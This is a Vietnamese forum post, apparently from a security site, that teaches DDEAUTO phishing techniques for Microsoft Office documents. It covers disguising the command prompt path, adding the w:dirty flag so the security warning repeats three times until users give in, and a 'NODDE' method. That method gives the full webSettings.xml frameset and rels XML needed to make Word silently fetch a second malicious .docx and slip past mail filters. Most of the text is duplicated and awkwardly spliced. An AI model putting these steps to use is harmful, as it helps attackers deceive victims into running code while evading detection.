Một số phương pháp mã độc phishing với DDE của Microsoft Office
DDE Dynamic Data Exchange
Trước hết thì DDE là gì? Windows cung cấp một số phương pháp để truyền dữ liệu giữa các ứng dụng. Một phương pháp là sử dụng giao thức trao đổi dữ liệu động (DDE). Giao thức DDE là một tập hợp các thông điệp và hướng dẫn. Nó gửi các thông báo giữa các ứng dụng chia sẻ dữ liệu và sử dụng bộ nhớ chia sẻ để trao đổi dữ liệu giữa các ứng dụng. Các ứng dụng có thể sử dụng giao thức DDE để truyền dữ liệu một lần và để trao đổi liên tục trong đó các ứng dụng gửi các bản cập nhật cho nhau khi dữ liệu mới trở nên khả dụng.
Nói chung: chức năng chính của DDE là cho phép các ứng dụng Windows chia sẻ dữ liệu.
Vậy DDE được dùng trong thực tiễn như thế nào?
Một ví dụ đơn giản cho việc này: Trong sản xuất phần mềm, một ô trong Microsoft Excel có thể được liên kết với một giá trị trong một ứng dụng khác và khi giá trị thay đổi, nó sẽ tự động được cập nhật trong bảng tính Excel. Nó sẽ giúp lập trình viên và kế toán viêc dễ dàng làm việc được với nhau hơn, tăng năng suất của phần mềm…
DDEAUTO attack
Lần đầu tiên được report cho MS vào 23/08/2017.
Đây là một phát hiện mới khiến hacker có thể chạy file thực thi mà không cần macro.
MS hiện giờ sẽ không sửa vì cho đây là một tính năng.
Enough intro!! Bây giờ mình sẽ giới thiệu với các một số kĩ thuật có thể dùng với DDEAUTO.
1. Cơ bản
Về cách tấn công DDE đơn giản nhất, các bạn tham khảo bài viết "Video demo thực thi code qua tính năng DDE của Word" trên Whitehat.vn: https://whitehat.vn/threads/video-demo-thuc-thi-code-qua-tinh-nang-dde-cua-word.9724/
2. Kỹ thuật thay đổi đường dẫn.
Nếu dùng cú pháp bình thường: ví dụ để mở calc.exe thì tại box thứ 2 sẽ thấy thông báo yêu cầu mở cmd(.exe)! Như vậy thì khá lộ liễu. Nên ý tưởng là chúng ta sẽ thay đổi thông báo này sang 1 file exe khác “trông có vẻ an toàn hơn”.
Cách làm khá đơn giản. Ta dung kí tự ‘\\..’ để quay lại thư mục trước. Ví dụ sau sẽ giúp dễ hiểu hơn.
Chúng ta sẽ dùng kĩ thuật này gọi powershell và download unikey về và chạy:
Thì box thông báo số 2 sẽ như sau:
Chương trình sẽ hiện thông báo yêu cầu mở MSword.exe thay vì cmd(.exe).
3. Dùng cờ DIRTY
Đây là một kĩ thuật khác để lừa người dùng. Bạn để ý là thông báo số 2 sẽ hiện 1 lần xong tắt luôn. Nhưng khi dùng kĩ thuật này thì nó sẽ hiện 3 lần. và nếu 1 trong 3 lần người dùng ấn vào yes thì sẽ bị dính mã độc. Ngoài ra thì 1 số trường hợp box số 2 sẽ không tự bật nên nếu kĩ thuật này thì sẽ chắc chắn người dùng đọc được và tăng khả năng thành công. Cách thực hiện cũng hết sức đơn giản.
1. Đổi đuôi file .docx sang .zip.
2. Mở file zip đó lên và mở document.xml trong file, ta sẽ được:
3. Tiếp theo ta Thêm w:dirty="true" vào <w:fldChar w:fldCharType="begin" /> và <w:fldChar w:fldCharType=“end" />
4. Lưu lại file và repair file zip. Rồi chuyển định dạng từ .zip dang .docx là xong.
Kết quả là bảng thông báo thứ 2 sẽ hiện 3 lần! Điều này sẽ giảm khả năng người dùng click “No” cho thông báo số 2 (vì sau 2 lần ức chế click Yes, họ sẽ click No :]]] ).
3. NODDE
Office là một IDE (Integrated Development Environment) và trong đó nó có hỗ trợ html, đến những phiên bản gần đây (hình như là từ 2013) các tính năng này bị xóa đi. Nhưng mà các hàm xử lí vẫn còn lại. Ta có thể lợi dụng điều này để khiến Office Word download 1 một file .docx khác có DDEAUTO về và tự động chạy. Cách làm như sau:
1. Ta chuyển định dạng file từ docx sang zip
2. Sau khi mở file đó lên vào thư mục word và mở file webSettings.xml
3. Tiếp đến thêm đoạn code
==================================
<w:frameset>
<w:framesetSplitbar>
<w:w w:val="60"/>
<w:color w:val="auto"/>
<w:noBorder/>
</w:framesetSplitbar>
<w:frameset>
<w:frame>
<w:name w:val="1"/>
<w:sourceFileName r:id="rId1"/>
<w:linkedToFile/>
</w:frame>
</w:frameset>
</w:frameset>
==================================
Vào đằng trước thẻ </w:frameset><wptimizeForBrowser/><w:allowPNG/></w:webSettings>
với nội dung như sau:
=========================================
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/frame" Target="http://127.0.0.1/1.docx" TargetMode="External"/>
</Relationships>
=========================================
Xong lưu lại và chuyển lại định dạng của file .zip sang .docx
Thế là xong. Nếu mở file này lên thì nó sẽ tự động download file 1.docx tại 127.0.0.1 về và chạy.
Tác dụng: nếu như Gmail, Yahoo cập nhật nhận diện cho kiểu tấn công DDEAUTO, thì NO-DDE sẽ không bị phát hiện. Khi nạn nhân tải file về rồi, và mở ra, thì file 1.docx mới được tải về và khởi chạy. Khi ấy, DDEAUTO trong file 1.docx mới thực sự là file độc hại.
Sau đây là video demo về Dirty flag và NODDE:
và đây là các file mẫu cho các phần (có thể bị báo là mã độc): https://whitehat.vn/attachments/files-zip.2643/
4. PS
Trên đây là một số kĩ thuật sử dụng cùng DDEAUTO để tăng khả năng thành công khi phishing. MS sẽ không sửa tính năng này, do đó người dùng cần phải cẩn trọng đọc các thông báo khi mở file Office.
Trước hết thì DDE là gì? Windows cung cấp một số phương pháp để truyền dữ liệu giữa các ứng dụng. Một phương pháp là sử dụng giao thức trao đổi dữ liệu động (DDE). Giao thức DDE là một tập hợp các thông điệp và hướng dẫn. Nó gửi các thông báo giữa các ứng dụng chia sẻ dữ liệu và sử dụng bộ nhớ chia sẻ để trao đổi dữ liệu giữa các ứng dụng. Các ứng dụng có thể sử dụng giao thức DDE để truyền dữ liệu một lần và để trao đổi liên tục trong đó các ứng dụng gửi các bản cập nhật cho nhau khi dữ liệu mới trở nên khả dụng.
Nói chung: chức năng chính của DDE là cho phép các ứng dụng Windows chia sẻ dữ liệu.
Vậy DDE được dùng trong thực tiễn như thế nào?
Một ví dụ đơn giản cho việc này: Trong sản xuất phần mềm, một ô trong Microsoft Excel có thể được liên kết với một giá trị trong một ứng dụng khác và khi giá trị thay đổi, nó sẽ tự động được cập nhật trong bảng tính Excel. Nó sẽ giúp lập trình viên và kế toán viêc dễ dàng làm việc được với nhau hơn, tăng năng suất của phần mềm…
DDEAUTO attack
Đây là một phát hiện mới khiến hacker có thể chạy file thực thi mà không cần macro.
MS hiện giờ sẽ không sửa vì cho đây là một tính năng.
Enough intro!! Bây giờ mình sẽ giới thiệu với các một số kĩ thuật có thể dùng với DDEAUTO.
1. Cơ bản
Về cách tấn công DDE đơn giản nhất, các bạn tham khảo bài viết "Video demo thực thi code qua tính năng DDE của Word" trên Whitehat.vn: https://whitehat.vn/threads/video-demo-thuc-thi-code-qua-tinh-nang-dde-cua-word.9724/
2. Kỹ thuật thay đổi đường dẫn.
Nếu dùng cú pháp bình thường: ví dụ để mở calc.exe thì tại box thứ 2 sẽ thấy thông báo yêu cầu mở cmd(.exe)! Như vậy thì khá lộ liễu. Nên ý tưởng là chúng ta sẽ thay đổi thông báo này sang 1 file exe khác “trông có vẻ an toàn hơn”.
Cách làm khá đơn giản. Ta dung kí tự ‘\\..’ để quay lại thư mục trước. Ví dụ sau sẽ giúp dễ hiểu hơn.
Chúng ta sẽ dùng kĩ thuật này gọi powershell và download unikey về và chạy:
Thì box thông báo số 2 sẽ như sau:
3. Dùng cờ DIRTY
Đây là một kĩ thuật khác để lừa người dùng. Bạn để ý là thông báo số 2 sẽ hiện 1 lần xong tắt luôn. Nhưng khi dùng kĩ thuật này thì nó sẽ hiện 3 lần. và nếu 1 trong 3 lần người dùng ấn vào yes thì sẽ bị dính mã độc. Ngoài ra thì 1 số trường hợp box số 2 sẽ không tự bật nên nếu kĩ thuật này thì sẽ chắc chắn người dùng đọc được và tăng khả năng thành công. Cách thực hiện cũng hết sức đơn giản.
1. Đổi đuôi file .docx sang .zip.
2. Mở file zip đó lên và mở document.xml trong file, ta sẽ được:
Kết quả là bảng thông báo thứ 2 sẽ hiện 3 lần! Điều này sẽ giảm khả năng người dùng click “No” cho thông báo số 2 (vì sau 2 lần ức chế click Yes, họ sẽ click No :]]] ).
3. NODDE
Office là một IDE (Integrated Development Environment) và trong đó nó có hỗ trợ html, đến những phiên bản gần đây (hình như là từ 2013) các tính năng này bị xóa đi. Nhưng mà các hàm xử lí vẫn còn lại. Ta có thể lợi dụng điều này để khiến Office Word download 1 một file .docx khác có DDEAUTO về và tự động chạy. Cách làm như sau:
1. Ta chuyển định dạng file từ docx sang zip
2. Sau khi mở file đó lên vào thư mục word và mở file webSettings.xml
3. Tiếp đến thêm đoạn code
==================================
<w:frameset>
<w:framesetSplitbar>
<w:w w:val="60"/>
<w:color w:val="auto"/>
<w:noBorder/>
</w:framesetSplitbar>
<w:frameset>
<w:frame>
<w:name w:val="1"/>
<w:sourceFileName r:id="rId1"/>
<w:linkedToFile/>
</w:frame>
</w:frameset>
</w:frameset>
==================================
Vào đằng trước thẻ </w:frameset><wptimizeForBrowser/><w:allowPNG/></w:webSettings>
4. Tiếp theo vào file _rels cũng trong thư mục word và thêm 1 file có tên “webSettings.xml.rels”với nội dung như sau:
=========================================
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/frame" Target="http://127.0.0.1/1.docx" TargetMode="External"/>
</Relationships>
=========================================
Xong lưu lại và chuyển lại định dạng của file .zip sang .docx
Thế là xong. Nếu mở file này lên thì nó sẽ tự động download file 1.docx tại 127.0.0.1 về và chạy.
Tác dụng: nếu như Gmail, Yahoo cập nhật nhận diện cho kiểu tấn công DDEAUTO, thì NO-DDE sẽ không bị phát hiện. Khi nạn nhân tải file về rồi, và mở ra, thì file 1.docx mới được tải về và khởi chạy. Khi ấy, DDEAUTO trong file 1.docx mới thực sự là file độc hại.
Sau đây là video demo về Dirty flag và NODDE:
4. PS
Trên đây là một số kĩ thuật sử dụng cùng DDEAUTO để tăng khả năng thành công khi phishing. MS sẽ không sửa tính năng này, do đó người dùng cần phải cẩn trọng đọc các thông báo khi mở file Office.
Nguồn: bài này mình đăng thay tác giả Chibi - một cây non của làng security
Chỉnh sửa lần cuối bởi người điều hành: